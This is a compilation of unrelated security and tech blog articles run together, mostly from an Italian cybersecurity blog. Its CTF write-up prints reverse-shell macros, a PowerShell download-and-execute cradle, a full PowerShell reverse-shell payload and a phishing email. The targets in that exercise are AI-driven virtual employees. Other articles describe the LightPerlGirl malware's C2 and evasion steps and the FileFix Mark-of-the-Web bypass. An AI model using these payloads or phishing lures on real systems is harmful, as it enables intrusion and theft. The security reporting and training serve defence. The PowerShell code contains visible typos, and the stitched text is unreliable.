Google è al centro di un’imponente causa in California che si è conclusa con la decisione di pagare oltre 314 milioni di dollari agli utenti di smartphone Android nello stato. Una giuria di San Jose ha stabilito che l’azienda ha violato i diritti dei proprietari di dispositivi mobili raccogliendo dati dai loro telefoni senza autorizzazione, anche quando i dispositivi erano in modalità standby.

Come ha spiegato l’avvocato dei querelanti, Glen Summers, la decisione del tribunale conferma la gravità delle violazioni commesse da Google e l’equità delle accuse mosse nei suoi confronti. Secondo lui, le azioni dell’azienda hanno costretto milioni di utenti in California a consumare i propri dati mobili, mentre le informazioni raccolte venivano utilizzate a vantaggio dell’azienda stessa, per scopi pubblicitari e altri scopi commerciali.

La class action è stata intentata nel 2019 e sosteneva che Google continuasse a inviare e ricevere dati dai dispositivi Android tramite i suoi servizi anche quando gli utenti non interagivano con i telefoni. Secondo l’accusa, ciò avrebbe interessato circa 14 milioni di californiani.

Gli avvocati di Google hanno insistito sul fatto che non era stato arrecato alcun danno agli utenti. La principale argomentazione dell’azienda era che tutti questi processi erano descritti in anticipo nei termini di utilizzo e nell’informativa sulla privacy che ciascun utente accetta al momento dell’attivazione del dispositivo. Tuttavia, la giuria ha deciso diversamente, a sostegno della posizione dei ricorrenti.

Il portavoce di Google, José Castaneda, ha dichiarato che l’azienda non è d’accordo con la decisione del tribunale e intende presentare ricorso. Ha inoltre osservato che questi processi di raccolta dati sono parte integrante della garanzia della sicurezza, della stabilità e dell’affidabilità dei dispositivi Android.

Una causa simile che coinvolge utenti Android in altri 49 stati degli Stati Uniti è pendente presso il tribunale federale di San Jose. Il processo dovrebbe iniziare nell’aprile 2026. Questa situazione sta diventando l’ultimo episodio di una serie di azioni legali contro le più grandi aziende IT, sempre più accusate di gestione non etica dei dati personali.

Nel caso di Google, non si tratta solo di una questione di privacy, ma anche del fatto che le informazioni siano state raccolte a spese delle risorse degli utenti, il che ha causato ulteriore indignazione.

L'articolo Se è gratuito, il prodotto sei tu. Google paga 314 milioni di dollari per violazione dei dati agli utenti Android proviene da il blog della sicurezza informatica.

La RHC Conference 2025, organizzata da Red Hot Cyber, ha rappresentato un punto di riferimento per la comunità italiana della cybersecurity, offrendo un ricco programma di talk, workshop e competizioni. Tra gli eventi più attesi, spiccano le Capture The Flag (CTF), che hanno coinvolto i partecipanti in sfide avvincenti e realistiche.

Queste CTF hanno portato i partecipanti nel cuore di una crisi geopolitica simulata: una Cyber Warfare Ibrida contro la nazione fittizia di Minzhong, in cui attori malevoli puntavano a sabotare la supply chain e le reti 4G locali. Questa simulazione, realizzata con il contributo di CyberSecurityUP, Hackmageddon e Fondazione Bruno Kessler (FBK), ha spinto i concorrenti a confrontarsi con tematiche moderne come AI, minacce ibride, disinformazione e infrastrutture critiche, alzando l’asticella del realismo tecnico e narrativo.

Una delle CTF più innovative è stata quella dedicata al Social Engineering, organizzata dalla FBK e dall’Università di Trento in collaborazione con il collettivo HackerHood, che ha offerto ai partecipanti un’esperienza immersiva e un approccio rivoluzionario per le sfide CTF, simulando un ambiente realistico gestito dall’intelligenza artificiale, che gli attaccanti potevano compromettere combinando tecniche di manipolazione psicologica con exploit tecnologici.

Una piattaforma di social engineering per una CTF realistica

La CTF sul Social Engineering si è distinta per l’uso innovativo di una piattaforma sperimentale sviluppata in ambito di ricerca. Questa piattaforma, creata da FBK e dall’Università di Trento, ha generato dinamicamente una finta infrastruttura ICT: indirizzi email, utenti fittizi, un servizio di storage cloud e identità virtuali dotate di personalità credibili, in grado di interagire in linguaggio naturale con i partecipanti.

Il cuore della competizione non era l’exploitation tecnica, ma l’inganno: convincere questi “personaggi virtuali” a rivelare informazioni sensibili, cliccare su link o scaricare allegati. Tutto questo grazie all’uso sapiente dell’ingegneria sociale, combinata con l’analisi dei dettagli dell’ambiente simulato.

Il contributo di HackerHood: test e adattamento

Il collettivo HackerHood ha avuto un ruolo essenziale nella riuscita della competizione, contribuendo non solo ad una validazione iniziale di tale piattaforma ma anche all’adattamento della stessa al contesto CTF. Dopo numerose sessioni di test, sono stati migliorati stabilità, scalabilità e credibilità dell’infrastruttura.

I partecipanti si sono trovati davanti a un ecosistema realistico e immersivo, in cui ogni azione produceva reazioni coerenti da parte degli utenti simulati, grazie a un motore di intelligenza artificiale generativa. Questo ha elevato notevolmente il livello di sfida, rendendo ogni interazione una prova di astuzia e precisione linguistica.

Le Flag della CTF: Social Engineering in azione

La CTF si è articolata in una serie di flag a difficoltà crescente, tutte basate sull’ingegneria sociale e sull’interazione con l’ambiente simulato. Ogni flag rappresentava una tappa nel percorso di compromissione dell’infrastruttura aziendale fittizia.

Panoramica delle principali flag

• Scopri la password di un dipendente
  Obiettivo: convincere un dipendente a rivelare o lasciar trapelare la propria password.
• Viola il ticket system aziendale
  Obiettivo: scoprire l’indirizzo email nascosto del supporto IT e sfruttarlo per un attacco.
• Recupera il file “lista-esuberi”
  Obiettivo: ottenere un file riservato presente solo nel sistema di online file sharing.
• Recupera una password condivisa
  Obiettivo: identificare una mail interna in cui veniva condivisa una password aziendale.
• Scopri la chiave privata del CEO
  Obiettivo: recuperare una chiave SSH inviata via email, sfruttando altre compromissioni precedenti.

L’ultima sfida irrisolta “Leggi il contenuto del budget aziendale”

Questa flag rappresentava il punto avanzato dell’intera CTF: per ottenerla, i partecipanti dovevano recuperare e leggere un file PDF riservato chiamato budget-aziendale.pdf, presente solo sul laptop Windows del CEO. Il file era protetto da una password nota soltanto a chi avesse risolto la flag “Recupera una password condivisa” nascosta fra le conversazioni di due dipendenti.

L’obiettivo poteva essere raggiunto seguendo due percorsi alternativi, entrambi validi ma di difficoltà diversa:

1. Accesso tramite SSH:

Tramite una campagna di phishing o social engineering, i partecipanti potevano indurre uno qualunque dei “personaggi virtuali” ad aprire una macro malevola o eseguire un payload da un allegato, ottenendo così accesso completo al sistema Linux. Era quindi possibile utilizzare la chiave SSH ottenuta dal completamento della flag “Scopri la chiave privata del CEO” per accedere interattivamente e tramite movimento laterale al laptop del CEO e leggere il file localmente.

Da un punto di vista più pratico, questo può essere riassunto nei seguenti passaggi.

• Recupero della chiave privata del CEO: accedere alla casella mail del CEO e recuperare la sua chiave privata inviata tramite mail. La chiave era gia’ in possesso se la flag “Scopri la chiave privata del CEO” era gia’ stata completata.
• Estrazione della chiave privata del CEO: convincere il CEO a fornire il proprio ID, in modo da poter estrarre la chiave privata.
• Creazione del documento malevolo: creare un documento LibreOffice contenente una macro capace di aprire una reverse shell. Un esempio di macro e’ riportato di seguito.

Function Main
shell("bash -c 'bash -i &> /dev/tcp// 0>&1'")
End Function

• Invio del payload: inviare una mail ad uno dei dipendenti utilizzanti Linux allegando il file malevolo. Un testo di esempio di tale mail e’ riportato di seguito.

Gentile Utente,in allegato le nuove policy di sicurezza appena approvate. La invitiamo cortesemente a prenderne visione e a procedere alla loro attuazione al fine di migliorare la security posture dell'aziendaRestiamo a disposizione per ogni dubbio e chiarimento.Cordialmente,Il dipartimento IT.

• Upload della chiave privata del CEO: caricare sul laptop del dipendente la chiave privata del CEO ottenuta in precedenza.
• Movimento laterale: Utilizzare la shell acquisita sul laptop del dipendente per effettuare un movimento laterale, collegandosi tramite SSH al laptop del CEO mediante l’uso della chiave SSH.
• Download del file: Esfiltrare il file “budget-aziendale.zip” copiandolo, ad esempio, sul proprio laptop tramite protocollo ftp.
• Recupero della password per aprire il file: accedere alla casella mail del CEO e recuperare la password necessaria per l’apertura del file. Tale password e’ la soluzione alla flag “Recupera una password condivisa”
• Apertura del file: Utilizzare la password per poter estrarre il file e leggerne il contenuto.

2. Violazione diretta del laptop del CEO:

Tramite una campagna di phishing o social engineering, i partecipanti potevano indurre il CEO ad aprire una macro malevola o eseguire un payload da un allegato, ottenendo così accesso completo al sistema. Questa strategia era più complicata dal momento che sul portatile Windows era presente un antivirus.Da un punto di vista più pratico, questo può essere riassunto nei seguenti passaggi.

• Creazione del documento malevolo: creare un documento Microsoft Office contenente una macro capace di aprire una reverse shell. In questo caso era necessario operare delle operazioni di offuscamento sulla macro, poiché il laptop del CEO era protetto da un antivirus capace di bloccare le macro malevole in chiaro. Un esempio di macro in chiaro e’ riportato di seguito.

Sub Auto_Open()
Last = "powershell -exec bypass IEX ((new-object
net.webclient).downloadstring('http:///poc.txt')) -WindowStyle Minimized"
CreateObject("Wscript.Shell").Run Last
End Sub
Il contenuto del file poc.txt per questa macro e’ riportato di seguito.

$client = New-Object System.Net.Sockets.TCPClient("",);$stream=$client.GetStrean();[byte[]]$bytes = 0..655351|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCITEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

• Invio del payload: inviare una mail al CEO allegando il file malevolo. Un testo di esempio di tale mail e’ riportato al punto d del metodo procedente.
• Download del file: Esfiltrare il file “budget-aziendale.zip” copiandolo, ad esempio, sul proprio laptop tramite protocollo ftp.
• Recupero della password per aprire il file: accedere alla casella mail del CEO e recuperare la password necessaria per l’apertura del file. Tale password e’ la soluzione alla flag “Recupera una password condivisa”
• Apertura del file: Utilizzare la password per poter estrarre il file e leggerne il contenuto.
  

Entrambe le strategie richiedevano competenze trasversali, tempismo e il corretto uso delle flag ottenute in precedenza: la password del file veniva acquisita solo tramite la flag “Recupera una password condivisa”, e l’accesso al sistema era subordinato a compromissioni precedenti “Scopri la chiave privata del CEO” o “Scopri la password di un dipendente”.

Criticità e caratteristiche

• Il file non era accessibile tramite il sistema di file sharing in cloud.
• Era necessario ricostruire correttamente la topologia aziendale per pianificare l’accesso al dispositivo del CEO.
• Il file conteneva la flag finale, una frase ironica che rifletteva il tema aziendale fittizio della simulazione:
  CTFRHC{{W3_H4V3_NO_M0R3_MON3Y}}
  

Completamento e Motivi del fallimento

Nonostante il 95% del percorso fosse stato risolto, nessun team è riuscito a ottenere questa flag e secondo una preliminare valutazione i principali motivi sono i seguenti:

• Gestione del tempo: i partecipanti sono arrivati molto vicini alla soluzione, ma non hanno avuto il tempo sufficiente per completare la catena finale di compromissioni e accessi necessari.
• Approccio tecnico predominante: molti team hanno preferito concentrarsi sull’identificazione e lo sfruttamento di possibili vulnerabilità tecniche dell’infrastruttura, sottovalutando la componente di social engineering, che in questo scenario era in realtà la chiave per aggirare i controlli e convincere i personaggi virtuali ad agire.
• Complessità dell’ambiente IA: il comportamento del CEO era gestito da un’IA configurata per ignorare email da contatti esterni, rendendo inefficaci approcci diretti e costringendo i team a cercare vie interne più complesse.

Conclusioni

I commenti raccolti al termine della competizione parlano chiaro: la combinazione di una piattaforma di social engineering realistica ed interazioni dinamiche guidate da intelligenza artificiale ha offerto ai partecipanti un’esperienza nuova e fresca rispetto alle altre sfide disponibili. Tutti i partecipanti erano concordi sul fatto che questo tipo di approccio fosse una ventata d’aria fresca rispetto alle classiche sfide, costringendoli anche a cambiare mentalità e prospettiva per poterla portare a termine.

La sfida ha alzato significativamente l’asticella, non solo in termini tecnici, ma soprattutto per la capacità di simulare scenari credibili, in cui il fattore umano è al centro del gioco. In un’epoca in cui la manipolazione dell’informazione e l’ingegneria sociale sono armi reali, esperienze come questa rappresentano un passo importante verso una formazione più completa, moderna e aderente alla realtà delle minacce informatiche. La sperimentazione ha dimostrato che è possibile fare didattica e ricerca in modo innovativo, coinvolgente e ad alto impatto.

Il presente articolo e le attività descritte sono frutto di una collaborazione tra FBK, Università di Trento ed Hackerhood. Si ringraziano Manuel Roccon, Matteo Bridi, Alessandro Molinari, Domenico Siracusa, Claudio Facchinetti e Daniele Santoro.

L'articolo CTF di RHC 2025. Ingegneria sociale in gioco: scopri la quarta “flag” non risolta proviene da il blog della sicurezza informatica.

Un nuovo malware chiamato LightPerlGirl ha attirato l’attenzione degli esperti di sicurezza informatica per il suo insolito e pericoloso schema di penetrazione dei dispositivi. L’attacco si basa sulla tecnica ClickFix : una finta finestra pop-up CAPTCHA che avvia una complessa sequenza di azioni utilizzando PowerShell e metodi che consentono al codice dannoso di nascondersi completamente dalle soluzioni di sicurezza.

Il nome del malware trae ispirazione dalla riga interna del copyright: “Copyright (c) LightPerlGirl 2025“. La campagna di distribuzione del malware è stata notata per la prima volta dai ricercatori di Todyl dopo aver rilevato script PowerShell anomali su un dispositivo client. Questo è diventato il punto di partenza per indagare su un complesso schema di infezione a più fasi in grado di bypassare i meccanismi di difesa tradizionali.

L’infezione inizia visitando un sito compromesso, il più delle volte sulla piattaforma WordPress, come una risorsa di viaggio. Le pagine ospitano codice JavaScript dannoso, mascherato da controllo di sicurezza di provider noti come Cloudflare. Lo script richiama una finestra con un CAPTCHA falso che, interagendo con esso, richiede all’utente di avviarlo tramite la funzione Esegui di Windows, essenzialmente la prima fase dell’attacco.

Questo comando contatta il server C&C all’indirizzo “cmbkz8kz1000108k2carjewzf[.]info”, da cui viene scaricato il seguente script di PowerShell. Viene eseguito interamente in memoria e include tre moduli: HelpIO, Urex ed ExWpL. Ognuno di essi esegue attività specifiche volte a proteggere il malware nel sistema e a renderlo invisibile.

Il modulo HelpIO richiede i diritti amministrativi tramite la finestra UAC standard e aggiunge quindi un’eccezione a Windows Defender per la directory “C:\Windows\Temp”. Ciò consente il salvataggio dei componenti successivi senza generare allarmi nei programmi antivirus. Urex garantisce quindi una presenza persistente nel sistema scaricando un file bat chiamato “LixPay.bat” e posizionandolo nella directory Temp esclusa. Crea inoltre un collegamento all’avvio in modo che venga eseguito a ogni avvio del sistema.

L’elemento più complesso, ExWpL, non utilizza affatto il file system. Decrittografa un assembly .NET codificato in base64 e lo esegue direttamente in memoria utilizzando il metodo System.Reflection.Assembly.Load(). Questo approccio evita qualsiasi interazione con il disco, il che complica notevolmente il rilevamento.

Dopo aver completato tutte le fasi, il malware mantiene una connessione stabile con il server di comando e controllo, consentendo agli aggressori di eseguire comandi in tempo reale e di scaricare nuovi componenti senza lasciare tracce nel file system.

Secondo Todyl, il fattore critico dell’infezione è stata la mancanza di sistemi di protezione degli endpoint sul dispositivo attaccato, che ha consentito l’esecuzione dello script iniziale. Tuttavia, il team dell’azienda è riuscito a isolare l’host infetto utilizzando il proprio SIEM e l’analisi dei log degli script di PowerShell.

La chiave dell’attacco è il coinvolgimento dell’utente. Tutto inizia con un singolo clic su un CAPTCHA “sicuro” che esegue effettivamente il codice. Todyl sottolinea che nessun controllo di sicurezza dovrebbe richiedere l’inserimento manuale di comandi. Inoltre, si raccomanda di installare urgentemente strumenti di protezione completa degli endpoint e di utilizzare gli indicatori di compromissione forniti nel report per condurre un’analisi dell’infrastruttura.

LightPerlGirl è un esempio di come l’elegante ingegneria sociale e la sofisticatezza tecnica si fondano per creare una minaccia che non può essere ignorata.

L'articolo LightPerlGirl: Il Malware Invisibile che Sfugge agli Antivirus e Si Attiva con un Click proviene da il blog della sicurezza informatica.

Selecting a random sample from a set is simple. But what about selecting a fair random sample from a set of unknown or indeterminate size? That’s where reservoir sampling comes in, and [Sam Rose] has a beautifully-illustrated, interactive guide to how reservoir sampling works. As far as methods go, it’s as elegant as it is simple, and particularly suited to fairly sampling dynamic datasets like sipping from a firehose of log events.

While reservoir sampling is simple in principle it’s not entirely intuitive to everyone. That’s what makes [Sam]’s interactive essay so helpful; he first articulates the problem before presenting the solution in a way that makes it almost self-evident.

[Sam] uses an imaginary deck of cards to illustrate the problem. If one is being dealt cards one at a time from a deck of unknown size (there could be ten cards, or a million), how can one choose a single card in a way that gives each an equal chance of having been selected? Without collecting them all first?

In a nutshell, the solution is to make a decision every time a new card arrives: hold onto the current card, or replace it with the new one. Each new card is given a 1/n chance of becoming held, where n is the number of cards we’ve seen so far. That’s all it takes. No matter when the dealer stops dealing, each card that has been seen will have had an equal chance of ending up the one selected.

There are a few variations which [Sam] also covers, and practical ways of applying it to log collection, so check it out for yourself.

If [Sam]’s knack for illustrating concepts in an interactive way is your jam, we have one more to point out. Our own Al Williams wrote a piece on Turing machines; the original “universal machine” being a theoretical device with a read/write head and infinite paper tape. A wonderful companion to that article is [Sam]’s piece illustrating exactly how such a Turing machines would work in an interactive way.

hackaday.com/2025/07/02/reserv…

How many times do you have to forget your keys before you start hacking on the problem? For [Binh], the answer was 5 in the last month, and his hack was to make a gesture-based door unlocker. Which leads to the amusing image of [Binh] in a hallway throwing gang signs until he is let in.

The system itself is fairly simple in its execution: the existing deadbolt is actuated by a NEMA 17 stepper turning a 3D printed bevel gear. It runs 50 steps to lock or unlock, apparently, then the motor turns off, so it’s power-efficient and won’t burn down [Binh]’s room.

The software is equally simple; mediapipe is an ML library that can already do finger detection and be accessed via Python. Apparently gesture recognition is fairly unreliable, so [Binh] just has it counting the number of fingers flashed right now. In this case, it’s running on a Rasberry Pi 5 with a webcam for image input. The Pi connects via USB serial to an ESP32 that is connected to the stepper driver. [Binh] had another project ready to be taken apart that had the ESP32/stepper combo ready to go so this was the quickest option. As was mounting everything with double-sided tape, but that also plays into a design constraint: it’s not [Binh]’s door.

[Binh] is staying in a Hacker Hotel, and as you might imagine, there’s been more penetration testing on this than you might get elsewhere. It turns out it’s relatively straightforward to brute force (as you might expect, given it is only counting fingers), so [Binh] is planning on implementing some kind of 2FA. Perhaps a secret knock? Of course he could use his phone, but what’s the fun in that?

Whatever the second factor is, hopefully it’s something that cannot be forgotten in the room. If this project tickles your fancy, it’s open source on GitHub, and you can check it out in action and the build process in the video embedded below.

After offering thanks to [Binh] for the tip, the remaining words of this article will be spent requesting that you, the brilliant and learned hackaday audience, provide us with additional tips.

youtube.com/embed/yNJkpo-19DI?…

hackaday.com/2025/07/02/hack-s…

When it comes to text, how small is too small? The experts say a six point font is the minimum for readability, but as [James Bowman] shows us, you can get away with half of that.

The goal is to produce a 40-character display on a 24 mm x 24 mm LCD that has a resolution of 240 x 240 to show a serial terminal (or other data) on the “TermDriver2” USB-to-Serial adapter. With 24 lines, that’s a line per millimeter: very small text. Three points, to be precise, half what the experts say you need. Diving this up into 40 columns gives a character cell of six by nine pixels. Is it enough?

The raw font on the left, the subpixel rendering on the right. For once, it’s better if you don’t click to enlarge.
Not by itself, no. That’s where the hack comes in: sub-pixel rendering. After all, a “white” pixel on an LCD is actually three elements: a red, a green, and a blue subpixel, stacked side-by-each. Drive each of those subpixels independently and 240 pixels now becomes 720. That’s plenty for a 40 column terminal.

The article discusses how, in general terms, they pulled off the subpixel rendering and kept the font as legible as possible. We think it’s a good try, though the colored fringe around the characters can be uncomfortable to look at for some people — and then we can’t forget the physical size of the characters being 1 mm tall.

If this trick were being used on a larger display with a 240-wide resolution, we’d say “yes, very legible, good job!”– but at this size? We hope we can find our reading glasses. Still, it’s a neat trick to have in your back pocket for driving low-resolution LCDs.

It may not surprise you that aside from improving legibility, subpixel rendering is also used for pixel (er, sub-pixel) art.

The full set of glyphs in their subpixel-rendered glory.

hackaday.com/2025/07/02/subpix…

This week Jonathan chats with benny Vasquez about AlmaLinux! Why is AlmaLinux the choice for slightly older hardware? What is the deal with RISC-V? And how does EPEL fit in? Tune in to find out!

• linkedin.com/in/bennyvasquez/
• almalinux.org
• almalinux.org/blog/2025-04-24-…
• almalinux.org/blog/2025-06-26-…

youtube.com/embed/5G-wIcFLrnM?…

Did you know you can watch the live recording of the show right on our YouTube Channel? Have someone you’d like us to interview? Let us know, or contact the guest and have them contact us! Take a look at the schedule here.

play.libsyn.com/embed/episode/…

Direct Download in DRM-free MP3.

If you’d rather read along, here’s the transcript for this week’s episode.

Places to follow the FLOSS Weekly Podcast:

• Spotify
• RSS

Theme music: “Newer Wave” Kevin MacLeod (incompetech.com)

Licensed under Creative Commons: By Attribution 4.0 License

hackaday.com/2025/07/02/floss-…

Le autorità spagnole hanno arrestato cinque persone sospettate di aver riciclato 540 milioni di dollari tramite investimenti illegali in criptovalute e di aver frodato più di 5.000 persone. L’operazione di polizia, denominata Borrelli, è stata condotta con il supporto e il coordinamento dell’Europol, nonché delle forze dell’ordine di Estonia, Francia e Stati Uniti.

Le truffe sugli investimenti in criptovalute vengono solitamente messe in atto tramite la truffa romantica (conosciuta anche come macellazione del maiale), divenuta popolare negli ultimi anni.

Lo schema prevede che i truffatori utilizzino l’ingegneria sociale e contattino persone (“maiali”) sui social media e sulle app di incontri. Col tempo, i criminali si guadagnano la fiducia delle vittime simulando un’amicizia o un interesse romantico, e a volte persino fingendosi amici nella vita reale delle vittime.

Una volta stabilito il “contatto”, a un certo punto i criminali propongono alla vittima di investire in criptovalute, reindirizzando la vittima a un sito web fasullo. Purtroppo, di solito è impossibile recuperare i fondi e ricevere il reddito dichiarato da tali “investimenti“. Di norma, dopo l'”investimento“, i fondi vengono movimentati attraverso numerosi conti, il che li rende estremamente difficili da tracciare.

L’indagine sulle attività del gruppo fraudolento è iniziata nel 2023. Da allora, gli esperti di reati finanziari di Europol hanno assistito le autorità spagnole coordinando le indagini e fornendo supporto operativo. Il giorno dell’operazione, un esperto di criptovalute è stato persino inviato in Spagna per assistere gli investigatori.

Mentre i metodi utilizzati dai criminali sono ancora oggetto di indagine, la polizia afferma di aver ormai compreso il modus operandi del gruppo, che ha spostato e nascosto i fondi rubati attraverso i suoi canali in Asia.

“Per svolgere le loro attività fraudolente, si ritiene che i leader del gruppo criminale si siano avvalsi di una rete di complici in tutto il mondo che raccoglievano fondi tramite prelievi di contanti, bonifici bancari e trasferimenti di criptovalute”, ha dichiarato Europol. “Gli investigatori sospettano che l’organizzazione criminale abbia creato una rete aziendale e bancaria con sede a Hong Kong che utilizzava gateway di pagamento e conti su vari exchange, creati a nome di persone diverse, per ricevere, conservare e trasferire fondi ottenuti tramite attività criminali”.

La dichiarazione di Europol sottolinea specificamente il ruolo dell’intelligenza artificiale nella diffusione delle frodi sugli investimenti, che stanno diventando sempre più sofisticate.

L'articolo Pig Butchering Scam: Arrestati 5 criminali in Spagna per una frode da 540 milioni di dollari proviene da il blog della sicurezza informatica.

When a fire breaks out in a high-rise building, conventional wisdom is that stairwells are the only way out. Lifts are verboten in such scenarios, while sheer height typically prevents any other viable route of egress from tall modern buildings. If the stairs are impassable, or you can’t reach them, you’re in dire peril.

In South Korea, though, there’s another option for escape. The answer involves strapping on a harness and descending down ropes hanging off the side of the building, just like in an action movie. It might sound terrifying, but these descending lifeline devices have become a common part of fire safety infrastructure across the country.

Going Down

The concept is elegantly simple—tall buildings like apartments and hotels feature compact rope escape devices that can be quickly deployed from windows or balconies. These allow people to control their descent down the exterior of a building in the event that there is no other route of escape. While fleeing a building down a rope is typically the preserve of fictional spies or trained climbers, these carefully engineered systems are designed for use by ordinary people in emergency situations.

youtube.com/embed/tboKzq3lx8M?…

The typical Korean descending lifeline comes as a kit with some simple components. It consists of a rope or cable, a friction-based descent control mechanism, and a harness system that can be donned quickly by sliding under the arms and tightening a strap. Deploying the device is relatively simple. The rope reel is attached to a large deployable hook that is firmly mounted to the building’s wall, using a screw-threaded coupling. The rope is then thrown out the window. At this point, the user merely needs to attach the harness and tighten it prior to leaving the building.
A typical lifeline descent kit, manufactured by Kfire. Credit: Kfire
When exiting the window, the user is instructed to face the wall on the way down, using their hands and/or feet to control the descent. Ultimately, though, the mechanical speed regulator ensures a safe pace of descent. The devices only allow the descent of one person at at time. However, each end of the rope has a harness. Thus, when one user has descended to ground level, the next person can grab the harness at the other end which has ascended to the window, and begin their descent. This can continue for as many people as needed.

Key to these devices is their focus on simplicity. The descent control mechanism uses a geared braking system that automatically limit the speed of descent to 1.5 meters/sec or less, preventing the user from descending too quickly even if they panic and release their grip. The lifelines are also sold in a range of different lengths to suit the heights of individual floors in a building. This is important to ensure that as the user hits the ground, the other end of the rope has carried the other harness back up to the floor for the next user. The longest variants typically sold are 45 meters in length, intended for buildings up to 15 stories tall. Limits of practicality mean that while these lifelines are useful for many buildings, they’re perhaps not applicable to taller skyscrapers where such escape would be more difficult.

The engineering challenge here isn’t just mechanical. Automatic rope descent systems are a well understood technology, as are hooks and brackets rated to carry human weight for climbing or otherwise. The real challenge comes down to human factors—in that these systems need to be something people can figure out how to use under conditions of extreme stress. The devices need to be intuitive enough that someone who has never used one before can figure it out while a fire rages behind them. It’s one thing to learn how to use a rope descent system by watching a video and trying the equipment at a calm training session. It’s another thing entirely to do so while a fire rages in the hotel hallway behind you.

While these lifeline systems are relatively simple, they’re still a lot more complicated to use than something like an airliner life jacket. Requiring an inexperienced end user to thread a fitting on a rope coupler without dropping it out the window in a panic situation is a tall ask. Still, the lifelines provide a useful additional escape option. It may not be the easiest way out of the building, or anybody’s first choice, but when there’s no other option, it’s good to have.

South Korea’s adoption of these systems reflects both the country’s high-rise-heavy urban landscape and a pragmatic approach to disaster preparedness. Many apartment buildings and hotels are now required to have these devices installed. The devices are typically mounted in weatherproof boxes near windows or on balconies, ready for deployment when traditional escape routes are compromised. In some cases, the rugged boxes the lifelines come in can even be used as a step-up to ease egress out of higher windows.

Perhaps most importantly, these systems represent a shift in traditional thinking about fire safety. In most jurisdictions, the idea of asking average people to belay down a building is considered untenable—too dangerous and too complicated. In South Korea, the lifelines are on hand, and put control back in the hands of building occupants. When every second counts and traditional escape routes have failed, having a lifeline system could mean the difference between life and death. It’s a sobering reminder that sometimes the best high-tech solution is one that lets people save themselves.

[Bogdan Micea] uses a laptop cooler, but was a bit annoyed that his cooler would run at the same power no matter how hard the laptop was working. Rather than keep adjusting the cooler’s power manually, he automated it by installing an Arduino Pro Micro as a controller in the cooler and writing a Rust controller application for his computer.

[Bogdan]’s cooler is controlled by four buttons, which can have different functions depending on how long they’re pressed. After mapping out their functionality and minor quirks, [Bogdan] soldered four transistors in parallel with the buttons to let the Arduino simulate button presses; another four Arduino pins accept input from the buttons to monitor their state. The Arduino USB port connects to the cooler’s original USB power input, so the cooler looks superficially unchanged. When the cooler starts up, the Arduino sets it to a known state, then monitors the buttons. Since it can both monitor and control the buttons, it can notify the computer when the cooler’s state changes, or change the state when the computer sends a command.

On the computer’s part, the control software creates a system tray that displays and allows the user to change the cooler’s current activity. The control program can detect the CPU’s temperature and adjust the cooler’s power automatically, and the Arduino can detect the laptop’s suspend state and control power accordingly.

Somewhat surprisingly, this seems to be the first laptop cooler we’ve seen modified. We have seen a laptop cooler used to overclock a Teensy, though, and a laptop’s stock fans modified.

hackaday.com/2025/07/02/making…

È stato scoperto sul sistema operativo Microsoft Windows un nuovo metodo per aggirare la protezione che consente l’esecuzione di script dannosi senza alcun preavviso all’utente. La tecnica, chiamata FileFix, è stata migliorata e ora sfrutta una vulnerabilità nel modo in cui i browser gestiscono le pagine HTML salvate.

L’attacco è stato presentato da un ricercatore di sicurezza noto come mr.d0x. Aveva precedentemente illustrato il funzionamento della prima versione di FileFix. All’epoca, gli aggressori utilizzavano una pagina di phishing per convincere la vittima a incollare un comando PowerShell mascherato nella barra degli indirizzi di Windows Explorer. Una volta incollato, il comando veniva eseguito automaticamente, rendendo l’attacco praticamente invisibile all’utente.

La nuova variante di FileFix è ancora più sofisticata. Permette l’esecuzione dello script dannoso, bypassando la protezione Mark of the Web ( MoTW ), progettata per bloccare l’esecuzione di file potenzialmente pericolosi scaricati da Internet. In questo attacco, l’aggressore utilizza tecniche di ingegneria sociale per convincere la vittima a salvare una pagina HTML utilizzando la scorciatoia da tastiera Ctrl+S e rinominarne l’estensione in .HTA. Tali file sono associati alla tecnologia obsoleta, ma ancora disponibile in Windows, delle applicazioni HTML.

I file con estensione .HTA sono applicazioni basate su HTML che vengono avviate automaticamente tramite il componente di sistema mshta.exe. Questo file eseguibile legittimo consente di eseguire codice HTML e script incorporati con i diritti dell’utente corrente. Questo è ciò che rende i file .HTA uno strumento utile per la distribuzione di codice dannoso.

Come mostrato da mr.d0x, quando si salva una pagina HTML tramite un browser nel formato “Pagina web completa” (con tipo MIME text/html), tale pagina non riceve la speciale etichetta di sicurezza MoTW. MoTW viene solitamente aggiunta automaticamente ai file scaricati da Internet per avvisare l’utente di una potenziale minaccia e bloccare l’esecuzione di script incorporati. L’assenza di questa etichetta offre agli aggressori la possibilità di aggirare i meccanismi di sicurezza standard del sistema.

Una volta che l’utente rinomina il file salvato, ad esempio in “MfaBackupCodes2025.hta”, e lo apre, il codice dannoso incorporato nel file verrà immediatamente eseguito senza alcun avviso o richiesta di sistema. In sostanza, la vittima esegue il malware autonomamente, senza nemmeno rendersene conto.

La parte più difficile per gli aggressori è la fase di ingegneria sociale: convincere l’utente a salvare la pagina e modificarne correttamente l’estensione. Tuttavia, come osserva mr.d0x, questa barriera può essere superata se la pagina falsa è progettata correttamente. Ad esempio, potrebbe apparire come un sito web ufficiale, chiedendo all’utente di salvare i codici di backup per l’autenticazione a due fattori per ripristinare l’accesso all’account in un secondo momento. La pagina potrebbe contenere istruzioni dettagliate, tra cui la richiesta di premere Ctrl+S, selezionare l’opzione di salvataggio “Pagina web, completa” e specificare un nome file con estensione .HTA.

Se una pagina di questo tipo sembra sufficientemente convincente e l’utente non ha conoscenze approfondite in materia di sicurezza e non nota l’estensione del file, la probabilità di un attacco riuscito aumenta significativamente. Ad esempio, gli aggressori potrebbero utilizzare una pagina intitolata “Codici di backup MFA” che suggerisce di salvare un file con il nome “MfaBackupCodes2025.hta”. Questo approccio è particolarmente pericoloso, dato il basso livello di formazione tecnica di molti utenti.

Per proteggersi da tali attacchi, gli esperti raccomandano di eliminare completamente o bloccare il file eseguibile di sistema mshta.exe, che si trova nelle directory C:WindowsSystem32 e C:WindowsSysWOW64. Questo componente non viene praticamente utilizzato nelle attività quotidiane e può essere disabilitato in sicurezza nella maggior parte degli scenari.

L'articolo FileFix aggira la protezione Mark of the Web di Microsoft Windows proviene da il blog della sicurezza informatica.

